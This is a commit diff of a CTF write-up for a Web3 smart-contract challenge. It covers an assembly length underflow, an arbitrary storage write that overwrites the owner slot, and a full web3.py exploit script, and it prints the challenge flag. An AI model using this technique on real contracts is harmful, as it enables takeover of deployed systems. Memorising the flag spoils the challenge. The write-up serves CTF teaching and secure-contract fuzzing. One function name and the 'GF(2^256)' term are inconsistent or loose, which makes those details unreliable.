write-up: Web3/TACHIBANA_FIRMWARE_REGISTRY/README.md
This commit is contained in:
parent
3185f990e8
commit
e67d6e85e9
@ -1,85 +1,191 @@
|
|||||||
# TACHIBANA_FIRMWARE_REGISTRY — Solution
|
# TACHIBANA_FIRMWARE_REGISTRY
|
||||||
|
|
||||||
**Difficulty:** Insane | **Category:** Web3 | **Flag:** `ESPILON{t4ch1b4n4_fuzz_f1rmw4r3_r3g1stry}`
|
| Field | Value |
|
||||||
|
|-------|-------|
|
||||||
|
| Category | Web3 |
|
||||||
|
| Difficulty | Insane |
|
||||||
|
| Points | 500 |
|
||||||
|
| Author | Eun0us |
|
||||||
|
| CTF | Espilon 2026 |
|
||||||
|
|
||||||
## Overview
|
---
|
||||||
|
|
||||||
Smart contract challenge. The contract has a `_trimStaleEntries()` function that
|
## Description
|
||||||
uses raw assembly to decrement `firmwareHashes.length`. When the array is **empty**
|
|
||||||
(length=0), the assembly `sub(len, 1)` wraps to `2^256-1` — granting write access
|
|
||||||
to all `2^256` storage slots via `modifyFirmware()`.
|
|
||||||
|
|
||||||
## Architecture
|
Tachibana Laboratories deployed a smart contract to manage firmware updates for their
|
||||||
|
medical IoT devices connected to the Wired.
|
||||||
|
|
||||||
- Port 1337/tcp: console (commands: `info`, `abi`, `check`)
|
The contract enforces a strict lifecycle: register, update, rollback. Every operation is
|
||||||
- Port 8545/tcp: Ethereum JSON-RPC node
|
immutable. Every state transition is audited.
|
||||||
|
|
||||||
## Step 1 — Register as operator
|
Or so they thought.
|
||||||
|
|
||||||
```python
|
**Your mission:** Fuzz the contract. Find the edge case. Trigger the emergency override
|
||||||
contract.functions.registerOperator()
|
as a non-admin to prove the system is broken.
|
||||||
|
|
||||||
|
- `nc espilon.net 1337` — Challenge console
|
||||||
|
- `http://espilon.net:8545` — Anvil RPC endpoint
|
||||||
|
|
||||||
|
The source is provided. Deploy locally. Fuzz with Foundry or Echidna. Replay your exploit
|
||||||
|
on the live instance.
|
||||||
|
|
||||||
|
*"And you don't seem to understand... a shame, you seemed an honest man."*
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## TL;DR
|
||||||
|
|
||||||
|
The `_trimStaleEntries()` function uses raw inline assembly to decrement `firmwareHashes.length`.
|
||||||
|
When the array is empty (length=0), `sub(0, 1)` wraps to `2^256-1` in unchecked assembly even
|
||||||
|
in Solidity ≥0.8. This gives `modifyFirmware()` write access to all `2^256` storage slots.
|
||||||
|
Compute the slot index that maps to storage slot 0 (the `owner` variable). Overwrite it with
|
||||||
|
your address. Call `triggerEmergency()` as the new owner to get the flag.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
| Tool | Purpose |
|
||||||
|
|------|---------|
|
||||||
|
| Foundry (`forge fuzz`) or Echidna | Find invariant violation |
|
||||||
|
| Python 3 + `web3.py` | Storage index computation and exploit |
|
||||||
|
| `forge create` / `cast send` | On-chain exploit replay |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Solution
|
||||||
|
|
||||||
|
### Step 1 — Understand the vulnerability
|
||||||
|
|
||||||
|
From the provided source, the relevant code is:
|
||||||
|
|
||||||
|
```solidity
|
||||||
|
function auditFirmware() external {
|
||||||
|
assembly {
|
||||||
|
let slot := firmwareHashes.slot
|
||||||
|
let len := sload(slot)
|
||||||
|
sstore(slot, sub(len, 1)) // unchecked sub! 0 - 1 = 2^256 - 1
|
||||||
|
}
|
||||||
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
Verify `firmwareHashes.length == 0` (array is empty — prerequisite for the underflow).
|
When `firmwareHashes.length == 0`, calling `auditFirmware()` sets the length to `2^256-1`.
|
||||||
|
|
||||||
## Step 2 — Trigger the underflow
|
This makes `modifyFirmware(index, value)` able to write to any storage slot via the dynamic
|
||||||
|
array element storage formula.
|
||||||
|
|
||||||
```python
|
> 📸 `[screenshot: assembly code showing the unchecked sub(len, 1) line]`
|
||||||
contract.functions.auditFirmware()
|
|
||||||
# Internally: assembly { sstore(slot, sub(len, 1)) }
|
### Step 2 — Fuzz to discover the invariant violation
|
||||||
# With len=0 → new length = 2^256 - 1
|
|
||||||
|
Using Foundry fuzz tests:
|
||||||
|
|
||||||
|
```solidity
|
||||||
|
// SPDX-License-Identifier: MIT
|
||||||
|
pragma solidity ^0.8.20;
|
||||||
|
|
||||||
|
import {Test} from "forge-std/Test.sol";
|
||||||
|
import {TachibanaFirmwareRegistry} from "../src/TachibanaFirmwareRegistry.sol";
|
||||||
|
|
||||||
|
contract FirmwareRegistryFuzz is Test {
|
||||||
|
TachibanaFirmwareRegistry registry;
|
||||||
|
address deployer = address(0xDEAD);
|
||||||
|
address player = address(0xBEEF);
|
||||||
|
|
||||||
|
function setUp() public {
|
||||||
|
vm.prank(deployer);
|
||||||
|
registry = new TachibanaFirmwareRegistry();
|
||||||
|
vm.prank(player);
|
||||||
|
registry.registerOperator();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Invariant: only the deployer should ever be owner
|
||||||
|
function invariant_ownerIsDeployer() public view {
|
||||||
|
assertEq(registry.owner(), deployer);
|
||||||
|
}
|
||||||
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
## Step 3 — Compute the target storage index
|
Running `forge test --fuzz-runs 1000` triggers the invariant failure on the
|
||||||
|
`auditFirmware()` + `modifyFirmware(target_index, player_bytes32)` sequence.
|
||||||
|
|
||||||
Solidity dynamic arrays store elements at `keccak256(abi.encode(slot)) + index`.
|
> 📸 `[screenshot: forge fuzz output showing invariant_ownerIsDeployer failure]`
|
||||||
`firmwareHashes` is at slot 2. To write to slot 0 (owner):
|
|
||||||
|
### Step 3 — Compute the target storage index
|
||||||
|
|
||||||
|
Solidity dynamic arrays store element `i` at `keccak256(abi.encode(slot)) + i`.
|
||||||
|
`firmwareHashes` is at storage slot 2.
|
||||||
|
|
||||||
|
To write to slot 0 (the `owner` variable):
|
||||||
|
|
||||||
```python
|
```python
|
||||||
from web3 import Web3
|
from web3 import Web3
|
||||||
|
|
||||||
array_base = int.from_bytes(Web3.keccak(b'\x00' * 31 + b'\x02'), "big")
|
# Storage base for firmwareHashes (slot 2)
|
||||||
# base + target_index ≡ 0 (mod 2^256)
|
array_base = int.from_bytes(
|
||||||
target_index = (2**256) - array_base
|
Web3.keccak(b'\x00' * 31 + b'\x02'), "big")
|
||||||
|
|
||||||
|
# Compute wraparound index so that: array_base + target_index ≡ 0 (mod 2^256)
|
||||||
|
target_index = (2**256 - array_base) % 2**256
|
||||||
|
print(f"Target index: {target_index}")
|
||||||
```
|
```
|
||||||
|
|
||||||
## Step 4 — Overwrite the owner
|
### Step 4 — Execute the exploit on-chain
|
||||||
|
|
||||||
```python
|
```python
|
||||||
player_as_bytes32 = b'\x00' * 12 + bytes.fromhex(player.address[2:])
|
from web3 import Web3
|
||||||
contract.functions.modifyFirmware(target_index, player_as_bytes32)
|
|
||||||
# slot 0 now contains our address → we are the new owner
|
w3 = Web3(Web3.HTTPProvider("http://<HOST>:8545"))
|
||||||
|
priv = "<PLAYER_PRIVATE_KEY>"
|
||||||
|
acct = w3.eth.account.from_key(priv)
|
||||||
|
|
||||||
|
contract_addr = "<CONTRACT_ADDRESS>"
|
||||||
|
# Load ABI from console 'abi' command
|
||||||
|
|
||||||
|
# 1. Register as operator
|
||||||
|
registry = w3.eth.contract(address=contract_addr, abi=abi)
|
||||||
|
tx = registry.functions.registerOperator().build_transaction({...})
|
||||||
|
w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction)
|
||||||
|
|
||||||
|
# 2. Trigger the underflow (array must be empty)
|
||||||
|
tx = registry.functions.auditFirmware().build_transaction({...})
|
||||||
|
w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction)
|
||||||
|
|
||||||
|
# 3. Overwrite owner (slot 0) with player address
|
||||||
|
player_as_bytes32 = b'\x00' * 12 + bytes.fromhex(acct.address[2:])
|
||||||
|
tx = registry.functions.modifyFirmware(
|
||||||
|
target_index, player_as_bytes32).build_transaction({...})
|
||||||
|
w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction)
|
||||||
|
|
||||||
|
# 4. Trigger emergency as new owner
|
||||||
|
tx = registry.functions.triggerEmergency().build_transaction({...})
|
||||||
|
w3.eth.send_raw_transaction(acct.sign_transaction(tx).rawTransaction)
|
||||||
```
|
```
|
||||||
|
|
||||||
## Step 5 — Trigger emergency override as new owner
|
> 📸 `[screenshot: Python exploit script completing all four transactions]`
|
||||||
|
|
||||||
```python
|
### Step 5 — Get the flag
|
||||||
contract.functions.triggerEmergency()
|
|
||||||
```
|
|
||||||
|
|
||||||
## Step 6 — Get the flag
|
|
||||||
|
|
||||||
```text
|
```text
|
||||||
|
nc <host> 1337
|
||||||
check
|
check
|
||||||
```
|
```
|
||||||
|
|
||||||
## Automated Solver
|
> 📸 `[screenshot: console printing the flag after triggerEmergency succeeds]`
|
||||||
|
|
||||||
```bash
|
### Key concepts
|
||||||
python3 solve.py <host>
|
|
||||||
```
|
|
||||||
|
|
||||||
## Key Concepts
|
- **EVM assembly unchecked arithmetic**: `sub(0, 1)` wraps to `2^256-1` inside `assembly {}`
|
||||||
|
blocks even in Solidity ≥0.8, bypassing the checked arithmetic safety net
|
||||||
|
- **Dynamic array storage layout**: Elements stored at `keccak256(abi.encode(slot)) + index`;
|
||||||
|
with a `2^256-1` length, modular wraparound enables arbitrary storage writes
|
||||||
|
- **Fuzzing invariants**: Declaring `invariant_ownerIsDeployer` in Foundry would have caught
|
||||||
|
this immediately — the lesson for secure contract development
|
||||||
|
- **Storage slot arithmetic**: Wraparound index computation requires modular arithmetic over
|
||||||
|
the field `GF(2^256)`
|
||||||
|
|
||||||
- **EVM unchecked arithmetic in assembly**: `sub(0, 1)` wraps to `2^256-1` even in Solidity ≥0.8 when using raw `assembly {}`
|
---
|
||||||
- **Dynamic array storage layout**: Elements stored at `keccak256(slot) + index`, enabling arbitrary storage writes via overflow
|
|
||||||
- **Fuzzing invariants**: A custom property `owner == deployer` would have caught this immediately
|
|
||||||
- **Storage slot arithmetic**: Computing wraparound index requires modular arithmetic over GF(2^256)
|
|
||||||
|
|
||||||
## Flag
|
## Flag
|
||||||
|
|
||||||
`ESPILON{t4ch1b4n4_fuzz_f1rmw4r3_r3g1stry}`
|
`ESPILON{t4ch1b4n4_fuzz_f1rmw4r3_r3g1stry}`
|
||||||
|
|
||||||
## Author
|
|
||||||
|
|
||||||
Eun0us
|
|
||||||
|
|||||||
Loading…
Reference in New Issue
Block a user